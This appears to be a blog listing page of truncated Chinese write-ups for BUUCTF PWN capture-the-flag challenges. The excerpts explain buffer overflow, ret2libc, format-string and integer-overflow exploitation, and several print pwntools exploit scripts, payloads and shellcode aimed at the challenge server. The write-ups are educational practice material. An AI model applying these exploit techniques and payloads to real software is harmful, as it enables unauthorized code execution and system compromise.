pwn
HAIANAWEI
这个作者很懒,什么都没留下…
展开
-
[BUUCTF]PWN——ciscn_2019_s_9
ciscn_2019_s_9参考例行检查 ,32位,未开启任何保护运行一下。32位ida载入,,第10行的fgets,能够溢出0x32-0x20-0x4个字节没用nx保护,首先想到的就是往s里写入shellcode,然后跳转到s执行shellcode生成的shellcode的长度过长,参数 s0x20(32) 写不下。shellcode ='''xor eax,eax #eax置0xor edx,edx #edx置0push edx #将0入栈,标原创 2021-04-26 21:10:00 · 520 阅读 · 0 评论 -
[BUUCTF]PWN——[BSidesCF 2019]Runit
[BSidesCF 2019]Runit例行检查 ,32位,开启NX保护运行一下。IDA打开,查看主函数。buf用mmap映射了地址,可读可写可执行,直接传入shellcode,15行调用了buf,运行shellcode获取shell。from pwn import *p=remote("node3.buuoj.cn",26059)context.arch="i386"shellcode=asm(shellcraft.sh())p.sendline(shellcode)p.原创 2021-04-26 20:35:57 · 419 阅读 · 0 评论 -
[BUUCTF]PWN——jarvisoj_test_your_memory
jarvisoj_test_your_memory例行检查 ,32位,开启了NX保护运行一下,跳出了一个地址0x80487e0用IDA打开。看到了cat flag.还有system找到了他们的地址查看main函数mem_test函数存在溢出漏洞,由于之前检索字符串的时候发现程序里调用了system函数,可以覆盖ret为system函数,去执行system。from pwn import * r =remote('node3.buuoj.cn',27075) syst原创 2021-04-09 20:04:47 · 368 阅读 · 0 评论 -
[BUUCTF]PWN——picoctf_2018_rop chain
picoctf_2018_rop chain例行检查 ,32位,开启NX保护。运行一下。用IDA打开。看到了flag.txt,跟进查看/原创 2021-04-09 19:37:39 · 213 阅读 · 0 评论 -
[BUUCTF]PWN——bjdctf_2020_babystack2
bjdctf_2020_babystack264位,开启NX保护。运行一下。用IDA打开。找到了后门函数。backdoor=0x400726查看main函数读入数据的大小由我们输入的参数nbytes控制nbytes参数的类型 是 size_t,它是一个无符号整型。但是第7行又将它转换成了有符号的整型,存在整数溢出漏洞(即无符号的数转换成有符号的整型后超过了有符号的整型能表示的范围,从而造成溢出,常用-1来造成溢出)from pwn import *r=remote('nod原创 2021-04-06 20:53:08 · 877 阅读 · 0 评论 -
[BUUCFT]PWN——pwn2_sctf_2016
pwn2_sctf_2016例行检查,32位,开启了NX保护。运行一下用IDA打开。main函数调用了vuln函数接受a2个长度的字符串并放到vuln函数的缓冲区内部,但是a2传入的值类型是unsigned int,而前面判断长度的类型是int,这边可以输入负数来达到溢出的效果(整数溢出)我们可以通过,输入负数,绕过长度限制,造成溢出,再利用printf函数泄露程序的libc版本,去算出system和‘/bin/sh‘的地址,最后溢出覆盖返回地址去执行system(‘/bin/sh’)f原创 2021-04-03 16:21:54 · 442 阅读 · 2 评论 -
[BUUCTF]PWN--------jarvisoj_level4
jarvisoj_level4例行检查,32位,开启NX保护运行一下用IDA打开。查看主函数查看vulnerable_function()函数buf存在溢出漏洞。是一道ret2libc类型的题目。利用第一次溢出泄露libc版本,从而获取system函数和"/bin/sh"的地址,并且返回重新执行主函数。再利用第二次栈溢出跳转执行system("/bin/sh")from pwn import *from LibcSearcher import *context(os = "原创 2021-04-02 20:53:46 · 305 阅读 · 2 评论 -
[BUUCTF]PWN——jarvisoj_level1
jarvisoj_level1例行检查,32位,未开启任何保护。运行一下,给了一个地址 0xffef96b0用IDA打开,查看主函数查看function函数。由此我们可以知道 bufadddr= 0xffef96b0,buf存在溢出漏洞。由于题目并没有开启任何保护。所以我们可以先通过read读入shellcode,然后利用溢出漏洞将ret覆盖为buf参数地址(此时buf里是shellcode)去执行即可获取shell。...原创 2021-03-31 21:12:33 · 217 阅读 · 0 评论 -
[BUUCTF]PWN——picoctf_2018_buffer overflow 2
picoctf_2018_buffer overflow 2例行检查,32位,开启NX保护运行一下,用IDA打开。看到了flag.txt,跟进一下。win函数地址为0x80485cba1 == 0xDEADBEEF && a2 == 0xDEADC0DE 时,输出flag.from pwn import*r=remote('node3.buuoj.cn',26224)payload='a'*(0x6c+4)+p32(0x80485cb)+p32(0)+p32(0x原创 2021-03-31 19:57:38 · 516 阅读 · 0 评论 -
[BUUCTF]PWN——wustctf2020_getshell
wustctf2020_getshell例行检查 ,开启NX保护,32位,运行一下,打印出一个图形。用IDA打开。看到了关键函数。shelladdr=0x804851B查看主函数,buf的长度为0x18,读取的长度为0x20,可以造成溢出。from pwn import*r=remote('node3.buuoj.cn',28128)shelladdr=0x804851Bpayload='a'*(0x18+4)+p32(shelladdr)r.sendline(payl原创 2021-03-30 20:46:11 · 268 阅读 · 0 评论 -
[BUUCTF]PWN——jarvisoj_level2_x64
jarvisoj_level2_x64例行检查 ,64位,开启NX保护,运行一下用IDA打开。systemaddr=0x40063eshalladdr=0x400A90查看主函数,buf的长度为0x80,读取的长度为0x200,可以造成溢出漏洞。rdiaddr= 0x4006b3from pwn import *context(log_level = 'debug')elf = ELF('./level2_x64')p = remote('node3.buuoj.cn',原创 2021-03-30 19:53:32 · 1288 阅读 · 0 评论 -
[BUUCTF]PWN——[HarekazeCTF2019]baby_rop
例行检查,64位,开启NX保护。运行一下用IDA打开。shift+f12检索字符串,看到了system和/bin/shshelladdr=0x601048systemaddr=0x400496查看主函数,v4的输入没有长度限制 ,可以造成溢出,由于程序 是64位的,所以传参会用到寄存器当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。当参数为7个以上时,后面的依次从 “右向左” 放入栈中。找到rdi的位置。rdiaddr=0x原创 2021-03-29 20:46:29 · 276 阅读 · 0 评论 -
[BUUCTF]PWN——bjdctf_2020_babystack
例行检查,64位,开启NX保护运行一下,用IDA打开,检索字符串,看到了后门跟进查看。找到了地址,shelladdr=0x4006EA查看主函数接收函数长度由我们自己决定,由此可以造成溢出。from pwn import*r=remote('node3.buuoj.cn',25232)shelladdr=0x4006EAr.sendline('100')payload='a'*(0x10+8)+p64(shelladdr)r.sendline(payload)r.原创 2021-03-29 20:01:11 · 292 阅读 · 0 评论 -
[BUUCTF]PWN——jarvisoj_level5
jarvisoj_level5例行检查,开启NX保护IDA打开,找到主函数。buf很明显的溢出漏洞56分49秒,采用ret2libc的方法,得用write函数来泄露libc。from pwn import*from LibcSearcher import*r=remote('node3.buuoj.cn',27018)elf=ELF('./level3_x64')main_addr=0x40061apop_rdi=0x4006b3pop_rsi_r15=0x4006b1wri原创 2021-03-27 20:58:25 · 180 阅读 · 0 评论 -
[BUUCTF]PWN——bjdctf_2020_babyrop
bjdctf_2020_babyrop例行检查 ,开启NX保护。运行一下。IDA打开,检索字符串,没有信息。查看main函数,调用了vuln函数。buf大小是0x20,但read读取了0x64,明显的溢出漏洞大概是64位的libc泄露。根据目前所学,libc泄露需要利用程序里调用过的函数来进行版本泄露,再通过函数的地址来计算出偏移量,从而计算出system函数和字符串“/bin/sh”的地址,再重新执行main函数,构造rop,执行已经得到的system函数和字符串“/bin/sh”原创 2021-03-25 21:04:52 · 166 阅读 · 0 评论 -
[BUUCTF]PWN——[第五空间2019 决赛]PWN5
[第五空间2019 决赛]PWN5例行检查,32位,开启了canary保护和NX保护。运行一下。IDA打开,看到了/bin/sh,但开启了保护查看主函数,函数的功能是读入一个4位的随机密码,再将我们输入的密码与随机生成数比较,相同就执行system这里面的printf()存在格式化字符串漏洞按我的理解就是输入的参数的个数是不固定的,是由前面的格式化字符串决定的,所以我们只要控制了前面的格式化字符串,再结合一些参数,后面输出什么就是由我们决定的;如:%d 用于读取10进制数值%x原创 2021-03-25 01:42:20 · 4357 阅读 · 7 评论 -
[BUUCTF]PWN——[HarekazeCTF2019]baby_rop
[HarekazeCTF2019]baby_rop例行检查,32位,开启NX保护和PIE保护运行一下,直接就能执行shell的命令远程连接运行一下,直接就获取到了flag原创 2021-03-24 22:40:08 · 210 阅读 · 0 评论 -
[BUUCTF]PWN——铁人三项(第五赛区)_2018_rop
铁人三项(第五赛区)_2018_rop32位,开启NX保护运行程序。用IDA打开,跳转到main函数没有什么有用的信息,vulnerable_function()函数是输入点。利用write函数来泄露程序的libc版本知道libc版本后再计算程序里的system函数和字符串“/bin/sh”的地址最后再覆盖返回地址from pwn import *from LibcSearcher import *r=remote('node3.buuoj.cn',27850)elf=ELF原创 2021-03-22 20:43:32 · 224 阅读 · 1 评论 -
[BUUCTF]PWN——picoctf_2018_buffer overflow 1
picoctf_2018_buffer overflow 1例行检查,32位,没开启保护运行一下用IDA打开,检索字符串,看到了flag.txt,跟进找到了调用flag.txt的函数win_addr=0x80485CBgets函数读入,存在溢出漏洞,覆盖ret为win函数即可from pwn import*r=remote('node3.buuoj.cn',26185)win_addr=0x80485CB payload='a'*(0x28+4)+p32(win_addr)原创 2021-03-20 15:34:41 · 277 阅读 · 0 评论 -
[BUUCTF]PWN——jarvisoj_fm
jarvisoj_fm例行检查,开启NX和CANARY保护,32位。运行程序IDA载入,检索字符串,看见了“/bin/sh”字符串跟进函数,当x=4的时候执行system(/bin/sh)存在格式化字符串漏洞,我们可以利用它随意读写的特性让x=4找一下输入点的参数在栈上存储的位置,手动输入计算得到偏移为11payload=p32(x_addr)+"%11$n"首先传入x参数的地址,这个地址存放在栈上偏移为11的位置,利用%11$n,定位到了偏移为11的位置,往这个位置写入数据,写原创 2021-03-19 13:55:53 · 322 阅读 · 0 评论 -
[BUUCTF]PWN——jarvisoj_tell_me_something
jarvisoj_tell_me_something例行检查,开启NX保护,64bit运行一下用IDA打开,看到了关键函数 flag.txt.跟进一下。flag_addr=0x400620看一下主函数。输入点的v4溢出漏洞,利用它覆盖返回地址为flag_addr的地址读出flag。汇编结尾没有leave起步刚开始就直接是rsp减去0x88,这里是没有把rbp压入栈,所以只需要0x88的数据大小,就可以覆盖返回地址了from pwn import *r=remote('nod原创 2021-03-18 19:56:01 · 726 阅读 · 0 评论 -
[BUUCTF]PWN——jarvisoj_level3_x64
jarvisoj_level3_x64例行检查,64位,开启NX保护。运行一下。IDA打开,查看main函数function()函数buf溢出漏洞,read之前已经调用过write函数,利用它来泄露libc版本64位程序在传参的时候要先用到rdi,rsi,rdx,rcx,r8,r9这几个寄存器,都满了之后才会在栈上传参利用ROPgadget找一下设置寄存器的指令rdi=0x4006b3rsi_r15=0x4006b1payload='a'*(0x80+8)+p64(rdi)+原创 2021-03-17 17:52:30 · 234 阅读 · 0 评论 -
[BUUCTF]PWN——jarvisoj_level3
jarvisoj_level332位,NX保护。运行程序。用IDA打开,shift+f12检索 ,找到关键函数。参数buf溢出漏洞,利用ret2libc获取shell。1,利用write函数泄露libc版本write_plt=elf.plt['write']write_got=elf.got['write']payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)r.recvuntil('原创 2021-03-16 00:49:36 · 1238 阅读 · 0 评论 -
[BUUCTF]PWN------jarvisoj_level2
jarvisoj_level2例行检查,32bit,开启NX保护。nc 一下 ,Hello world,没什么信息用32位IDA打开,看到了/bin/sh,跟进一下。想查看调用函数的,但是看不了,所幸地址已经给出,所以shell_addr=0x804A024system_addr=0x8048320直接利用这些构造 system(/bin/sh)去执行找到输入点buf的大小是0x88,读入的数据大小是0x100,多余空间足以构造ropexpflag...原创 2021-01-20 21:18:31 · 304 阅读 · 0 评论 -
[BUUCTF]PWN------[BJDCTF 2nd]r2t3
[BJDCTF 2nd]r2t3例行检查,32bit,开启NX保护nc 一下,没有有用的信息用IDA打开,注意到了/bin/sh,继续跟进找到了这个后门函数,shell_addr=-0x084858B,再去查看主函数我们可以看到,buf的大小是0x408,但限制读取0x400,所以不存在溢出,再看name_check函数,它对我们的长度进行了规定,要在4~7之间,但它负责接收buf的变量v3是unsigned_int8型的,即无符号整形。因此可以表示的范围为0–2^8-1(255) b原创 2021-01-19 16:06:16 · 184 阅读 · 0 评论 -
[BUUCTF]PWN------jarvisoj_level0
jarvisoj_level0例行检查,64bit,开启NX保护。nc一下,出现了Hello world,接着让我们输入,没有有用的信息。‘用IDA打开,看到了/bin/sh双击跟进,Ctrl+x查看被什么调用,找到了后门,所以shell_addr=0x400596查看主函数,寻找输入点。可以看到buf的大小是0x80,但它读取时只读了0x20,可以溢出,覆盖返回地址为后门地址既可expflag...原创 2021-01-18 14:11:44 · 320 阅读 · 1 评论 -
[BUUCTF]PWN------ciscn_2019_n_1
ciscn_2019_n_1例行检查,64bit,NX保护开启运行一下,没有信息64位IDA打开,看到了cat flag ,跟进瞧瞧函数显示 ,当v2等于11.28125时,得到flag,但要求 我们输入的是v1,所以我们只有把v1和v2之间全部填满之后紧接着写入11.28125即可。我们可以看到这两个之间的大小为0x2C再将11.28125转换为内存中的16进制,结果为 0x41348000 摘自exp得到FLAG...原创 2021-01-16 17:15:16 · 264 阅读 · 0 评论 -
[BUUCTF]PWN------pwn1_sctf_2016
例行检查 ,开启了NX(堆栈不可执行)保护,即堆栈上不可写入nc一下,没有什么有价值的信息用原创 2021-01-15 15:43:05 · 244 阅读 · 0 评论 -
[BUUCTF]PWN------warmup_csaw_2016
warmup_csaw_2016例行检查 ,64位,无保护运行一下,没什么信息。用64位IDA打开,查看字符串,看到了cat flag,进去瞧瞧可以看到这个函数的功能就是输出flag,记录下他的地址 flag_addr=0x40060D再回到主函数瞧瞧,可以看到最后是输出了v5,gets函数并没有限制长度,因此存在溢出漏洞。v5的大小是0x40,因此只要我们输入的字符串长度=0x40+8(64位ebp的长度)即可溢出到返回地址,再将返回地址覆盖输出flag的那个函数地址即可得到fla原创 2021-01-14 19:48:58 · 531 阅读 · 0 评论 -
[BUUCTF]PWN------rip
rip例行检查,无保护运行一下,输出了我们输入的东西,用64位IDA打开,看到了/bin/sh原创 2021-01-13 21:56:15 · 314 阅读 · 0 评论 -
[BUUCTF]PWN------test_your_nc
test_your_nc根据题目提示,nc一下靶场,接上ls直接看到flagcat flag 得到结果原创 2021-01-12 16:03:27 · 234 阅读 · 1 评论